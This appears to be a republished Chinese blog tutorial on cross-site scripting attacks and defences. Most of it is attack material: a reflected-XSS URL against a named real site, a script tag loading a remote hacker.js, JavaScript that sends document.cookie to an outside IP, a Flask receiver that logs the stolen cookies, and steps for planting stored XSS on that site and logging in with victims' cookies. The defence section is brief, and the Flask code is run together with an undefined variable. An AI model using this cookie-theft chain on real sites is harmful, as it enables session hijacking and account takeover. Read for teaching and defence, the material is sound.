XSS常见攻击与防御
本文獲得作者授權(quán)刊發(fā),更多信息請關(guān)注作者專欄。
XSS攻擊全稱跨站腳本攻擊,是為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫為XSS,XSS是一種在web應(yīng)用中的計算機(jī)安全漏洞,它允許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中。從而達(dá)到攻擊的目的。如,盜取用戶Cookie、破壞頁面結(jié)構(gòu)、重定向到其它網(wǎng)站等。
XSS攻擊案例:
新浪微博遭受XX攻擊:
http://soft.yesky.com/security/156/30179156.shtml
人人網(wǎng)遭受XSS攻擊:
http://www.freebuf.com/articles/6295.html
簡單的測試方法:
所有提交數(shù)據(jù)的地方都有可能存在XSS,可以用最簡單腳本進(jìn)行測試:
<script>alert(“1”)</script>XSS攻擊類型
反射型:
黑客構(gòu)造一個包含XSS代碼的URL(服務(wù)器中沒有這樣的頁面和內(nèi)容),誘導(dǎo)或等待用戶去點擊鏈接,才能觸發(fā)XSS代碼,達(dá)到劫持訪問、獲取cookies的目的。一般容易出現(xiàn)在搜索頁面。 例如:https://m.wuage.com/search/self-shop?memberId=4lv8ll4g&keywords=x%22alert(1)%22&psa=M3.s10.0.j4 (此漏洞已經(jīng)修復(fù),請勿再測,造成訪問壓力。)
持久型:
如果黑客可以將腳本代碼通過發(fā)布內(nèi)容(如發(fā)論壇、博文、寫留言等)的方式發(fā)布后,存儲在服務(wù)端的數(shù)據(jù)庫或者文件中,成為某個url正常的頁面的一部分,所有訪問這個頁面的所有用戶都是受害者,看似正常的url,則其頁面已經(jīng)包含了xss代碼,持久型XSS更具有隱蔽性,帶來的危害也更大
例如:在頁面中不容注意的地方加一段js腳本(如下),當(dāng)頁面被打開時,頁面會加載這段腳本,加系統(tǒng)登錄的cookies發(fā)送到遠(yuǎn)端hacker的手中。
<script type="text/javascript" src="https://xss.xxx.com/hacker.js"></script>DOM型:
DOM就是一個樹狀的模型,你可以編寫Javascript代碼根據(jù)DOM一層一層的節(jié)點,去遍歷/獲取/修改對應(yīng)的節(jié)點,對象,值。dom xss并不復(fù)雜,他也屬于反射型xss的一種(,domxss取決于輸出位置,并不取決于輸出環(huán)境,因此domxss既有可能是反射型的,也有可能是存儲型的),簡單去理解就是因為他輸出點在DOM,所以在道哥的《白帽子講Web安全里》也有詳細(xì)介紹。xss代碼可能是簡短的插入script節(jié)點的語句,載入來自第三方域的含有具體惡意代碼的腳本。具體的惡意代碼,常見的行為是讀取cookie,構(gòu)造例如一個img標(biāo)簽,將其src屬性指向惡意第三方網(wǎng)站,將cookie的內(nèi)容作為參數(shù)附在src的url上,這樣黑客就能在其網(wǎng)站上獲得你的cookie信息,這就是所謂的cookie劫持。
js獲取瀏覽器的cookies, 通過網(wǎng)絡(luò)將cookies發(fā)送給遠(yuǎn)端的接https://xss.xxx.com/hacker.js,收程序。
var img = document.createElement('img'); img.width = 0; img.height = 0; img.src = 'http://10.100.100.14:5000/?hacker='+encodeURIComponent(document.cookie);接收端,利用python flask寫個非常簡單的項目
from flask import Flask, requestapp = Flask(__name__)@app.route('/')def get_cookies():text = request.args.get('hacker')with open(file_path, mode='a', encoding='utf-8') as f:f.writelines(text + "\n")if __name__ == '__main__':app.run(host='0.0.0.0', port=5000, debug=app.debug, threaded=True)示例:(此漏洞已經(jīng)修復(fù),請勿再測,造成訪問壓力。)
在www.wuage.com?fromtf=budao注冊過后返回個人中心,在公司名稱完成XSS注入
在搜索頁面https://s.wuage.com/product/search?fromtf=budao?,選擇一個公司點擊訊問價格-勾選上同時發(fā)布到求購大廳,此時就會收到源源不斷的cookies信息。
獲取cookies
修改cookies,登錄網(wǎng)站:
進(jìn)入用戶的會員中心,查看企業(yè)信息
XSS攻擊防御
設(shè)置HttpOnly以避免cookie劫持的危險。
過濾,對諸如
<script>、<img>、<a>等標(biāo)簽進(jìn)行過濾。
編碼,像一些常見的符號,如<>在輸入的時候要對其進(jìn)行轉(zhuǎn)換編碼,這樣做瀏覽器是不會對該標(biāo)簽進(jìn)行解釋執(zhí)行的,同時也不影響顯示效果。
限制,通過以上的案例我們不難發(fā)現(xiàn)xss攻擊要能達(dá)成往往需要較長的字符串,因此對于一些可以預(yù)期的輸入可以通過限制長度強(qiáng)制截斷來進(jìn)行防御。
更多干貨請瀏覽:
還在手調(diào)網(wǎng)絡(luò)權(quán)限?資深I(lǐng)T工程師都這樣玩企業(yè)組網(wǎng)
利用500W條微博語料對評論進(jìn)行情感分析
總結(jié)
以上是生活随笔為你收集整理的XSS常见攻击与防御的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 巴彦淖尔开车到北京中国民兵武器装备陈列馆
- 下一篇: react中类组件this指向